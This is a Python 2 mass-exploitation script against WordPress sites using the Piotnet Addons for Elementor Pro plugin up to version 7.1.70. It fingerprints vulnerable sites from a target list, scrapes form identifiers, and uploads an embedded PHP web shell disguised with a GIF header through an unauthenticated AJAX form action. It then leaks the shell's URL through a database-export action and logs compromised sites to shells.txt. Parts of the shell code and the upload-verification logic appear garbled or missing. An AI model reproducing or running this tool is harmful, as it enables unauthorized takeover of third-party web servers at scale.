#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import sys
import re
import json
import time
import threading
from Queue import Queue
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
TIMEOUT = 10
MAX_THREADS = 20
OUTPUT_FILE = "shells.txt"
VULN_VERSION = "7.1.70"
EXT_LIST = [".phtml", ".php3", ".php4", ".phps", ".pht", ".php2"]
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.9",
"X-Requested-With": "XMLHttpRequest",
}
SHELL_CODE = b"""GIF89a;
'.'Uname:'.php_uname().'
'.$cwd = getcwd();
Echo '
'.'
';
if (!empty ($_FILES['uploads'])) {
move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "Uploaded !!!
name : ".$_FILES['uploads']['name']."
size : ".$_FILES['uploads']['size']."
type : ".$_FILES['uploads']['type'];
}
?>"""
GREEN = "\033[92m"
RED = "\033[91m"
CYAN = "\033[96m"
YELLOW = "\033[93m"
RESET = "\033[0m"
BOLD = "\033[1m"
def safe_unicode(s):
if isinstance(s, unicode):
return s
try:
return unicode(s, 'utf-8', errors='replace')
except:
return unicode(str(s), errors='replace')
def log(msg, level="info"):
msg = safe_unicode(msg)
if level == "success":
print("{}{}[+] {}{}".format(GREEN, BOLD, RESET, msg.encode('utf-8', errors='replace')))
elif level == "error":
print("{}{}[-] {}{}".format(RED, BOLD, RESET, msg.encode('utf-8', errors='replace')))
elif level == "warn":
print("{}{}[!] {}{}".format(YELLOW, BOLD, RESET, msg.encode('utf-8', errors='replace')))
else:
print("{}{}[*] {}{}".format(CYAN, BOLD, RESET, msg.encode('utf-8', errors='replace')))
def version_lte(v1, v2):
p1 = [int(x) for x in v1.split(".")]
p2 = [int(x) for x in v2.split(".")]
for i in range(max(len(p1), len(p2))):
a = p1[i] if i < len(p1) else 0
b = p2[i] if i < len(p2) else 0
if a < b:
return True
if a > b:
return False
return True
def extract_field_name(html):
m = re.search(
r'data-pafe-form-builder-field-name=["\']([^"\']+)["\'][^>]*(?:type=["\']file|data-pafe-form-builder-upload)',
html, re.DOTALL
)
if m:
return m.group(1).strip()
m = re.search(
r'class=["\'][^"\']*pafe-form-builder-upload[^"\']*["\'][^>]*data-pafe-form-builder-field-name=["\']([^"\']+)["\']',
html, re.DOTALL
)
if m:
return m.group(1).strip()
if 'pafe-form-builder' in html or 'data-pafe-form-builder' in html:
for pattern in [r']*type=["\']file["\'][^>]*name=["\']([^"\']+)["\']',
r']*name=["\']([^"\']+)["\'][^>]*type=["\']file["\']']:
for mt in re.finditer(pattern, html):
fn = mt.group(1)
if not fn.startswith('form_fields['):
return fn.rstrip('[]').strip()
return None
def detect_version(session, target):
try:
r = session.get(target, timeout=TIMEOUT, verify=False)
if r.status_code == 200:
m = re.search(r'piotnet-addons-for-elementor-pro/[^"\']*\?ver=([0-9.]+)', r.text)
if m:
ver = m.group(1)
vulnerable = version_lte(ver, VULN_VERSION)
if vulnerable:
log("version {} -> VULNERABLE".format(ver), "success")
else:
log("version {} -> NOT VULNERABLE".format(ver), "error")
return ver, vulnerable
if 'piotnet-addons-for-elementor' in r.text:
log("plugin detected (unknown version) - assuming vulnerable", "warn")
return None, True
except:
pass
asset_paths = [
"/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/css/minify/extension.min.css",
"/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/js/minify/extension.min.js",
"/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/css/minify/font-awesome-5.min.css",
]
for path in asset_paths:
try:
r = session.get(target + path, timeout=TIMEOUT, verify=False)
if r.status_code == 200:
log("plugin exists (asset found) - assuming vulnerable", "warn")
return None, True
except:
continue
log("Piotnet Addons Pro not detected", "error")
return None, False
def collect_links(session, target):
base = target.rstrip('/')
extra_paths = [
"/contact", "/contact-us", "/get-in-touch", "/apply", "/register", "/sign-up",
"/submit", "/upload", "/form", "/quote", "/request-quote", "/free-quote",
"/estimate", "/quote-request", "/careers", "/join-us", "/enquiry", "/inquiry",
"/book-appointment", "/appointment", "/make-appointment", "/submit-request"
]
pages = [base] + [base + p for p in extra_paths]
try:
home = session.get(target, timeout=TIMEOUT, verify=False)
if home.status_code == 200:
links = re.findall(r'href=["\']({}[^"\'#]*)["\']'.format(re.escape(base)), home.text)
links += re.findall(r'href=["\'](/[^"\'#]*)["\']', home.text)
for link in links:
full = link if link.startswith("http") else base + link
if not re.search(r'\.(css|js|png|jpg|svg|woff|gif)(\?|$)', full) and full not in pages:
pages.append(full)
except:
pass
return pages
def gather_form_params(session, target):
pages = collect_links(session, target)
log("scanning {} pages...".format(len(pages)), "info")
result = None
for url in pages:
try:
r = session.get(url, timeout=TIMEOUT, verify=False)
if r.status_code != 200:
continue
html = r.text
if 'pafe' not in html.lower() and 'piotnet' not in html.lower():
continue
pid = (re.search(r'data-elementor-id=["\'](\d+)["\']', html) or
re.search(r']*name=["\']post_id["\'][^>]*value=["\'](\d+)["\']', html) or
re.search(r'data-pafe-form-builder-submit-post-id=["\'](\d+)["\']', html) or
re.search(r'"post_id":\s*"?(\d+)"?', html))
post_id = pid.group(1).strip() if pid else None
if not post_id:
page_id = re.search(r'page-id-(\d+)', html)
post_id = page_id.group(1).strip() if page_id else None
fid = (re.search(r']*name=["\']form_id["\'][^>]*value=["\']([^"\']+)["\']', html) or
re.search(r']*value=["\']([^"\']+)["\'][^>]*name=["\']form_id["\']', html) or
re.search(r'"form_id":\s*"([^"]+)"', html))
form_id = fid.group(1).strip() if fid else None
field_name = extract_field_name(html)
if (form_id or field_name) and post_id:
result = {'post_id': post_id, 'form_id': form_id or 'default', 'field_name': field_name or 'file', 'page': url}
log("found form at {} | post_id={} form_id={} field={}".format(url, post_id, form_id, field_name), "success")
break
except:
continue
if not result:
result = {'post_id': '1', 'form_id': 'default', 'field_name': 'file'}
return result
def upload_shell(session, ajax_url, post_id, form_id, field_name, ext, shell_data, shell_name):
payload = json.dumps([{
"name": field_name, "value": "",
"file_name": ["{}{}".format(shell_name, ext)],
"attach-files": 0, "type": "file", "image_upload": False
}])
files = {"{}[]".format(field_name): ("{}{}".format(shell_name, ext), shell_data, "application/octet-stream")}
return session.post(ajax_url, data={
"action": "pafe_ajax_form_builder",
"post_id": post_id,
"form_id": form_id,
"fields": payload
}, files=files, allow_redirects=False, timeout=TIMEOUT)
def leak_url(session, ajax_url, ext, shell_name):
try:
r = session.get(ajax_url, params={"action": "pafe_export_database"}, timeout=TIMEOUT)
content = r.text.replace(u'\ufeff', '')
pattern = r'https?://[^\s",\r\n]+/(?:wp-content/uploads/piotnet-addons-for-elementor/)?{}-[a-f0-9]+\.{}'.format(
re.escape(shell_name), re.escape(ext.lstrip('.')))
m = re.search(pattern, content)
if m:
return m.group(0)
pattern2 = r'https?://[^\s",\r\n]+/{}-[a-f0-9]+\.{}'.format(re.escape(shell_name), re.escape(ext.lstrip('.')))
m = re.search(pattern2, content)
return m.group(0) if m else None
except:
return None
def exploit_target(target, shell_data):
target = target.rstrip('/')
if not target.startswith(('http://','https://')):
target = 'https://' + target
ajax_url = "{}/wp-admin/admin-ajax.php".format(target)
session = requests.Session()
session.headers.update(HEADERS)
session.headers.update({"Referer": target + "/", "Origin": target})
session.verify = False
version, vulnerable = detect_version(session, target)
if vulnerable is False:
log("skip (not vulnerable)", "error")
return
params = gather_form_params(session, target)
post_id = params['post_id']
form_id = params['form_id']
field = params['field_name']
log("post_id={} form_id={} field={}".format(post_id, form_id, field), "info")
base_name = "xxx"
for ext in EXT_LIST:
log("trying {}".format(ext), "info")
try:
resp = upload_shell(session, ajax_url, post_id, form_id, field, ext, shell_data, base_name)
except Exception as e:
log("upload error: {}".format(str(e)), "error")
continue
body = resp.text
body_preview = safe_unicode(body[:200])
if resp.status_code in (301,302,303,307,308):
log("redirect - abort", "error")
break
if body == "0":
log("handler not registered", "error")
continue
if len(body) > 1000 and body.lstrip().startswith(' {}".format(GREEN, BOLD, RESET, shell_url))
with open(OUTPUT_FILE, "a") as f:
f.write(shell_url + "\n")
return shell_url
else:
log("shell not executable", "warn")
except:
log("verification failed, saving anyway", "warn")
with open(OUTPUT_FILE, "a") as f:
f.write(shell_url + "\n")
return shell_url
log("all extensions failed", "error")
return None
def worker(queue, shell_data):
while not queue.empty():
try:
target = queue.get_nowait()
except:
break
exploit_target(target, shell_data)
queue.task_done()
def main():
if len(sys.argv) != 2:
print("Usage: python2 {} targets.txt".format(sys.argv[0]))
sys.exit(1)
filename = sys.argv[1]
try:
with open(filename, "r") as f:
targets = [line.strip() for line in f if line.strip() and not line.startswith("#")]
except IOError:
print("File not found: {}".format(filename))
sys.exit(1)
if not targets:
print("No targets loaded.")
sys.exit(1)
shell_bytes = SHELL_CODE
log("Loaded built-in shell ({} bytes)".format(len(shell_bytes)), "info")
q = Queue()
for t in targets:
q.put(t)
threads = []
for _ in range(min(MAX_THREADS, len(targets))):
th = threading.Thread(target=worker, args=(q, shell_bytes))
th.daemon = True
th.start()
threads.append(th)
for th in threads:
th.join()
log("Done. Results saved to {}".format(OUTPUT_FILE), "success")
if __name__ == "__main__":
main()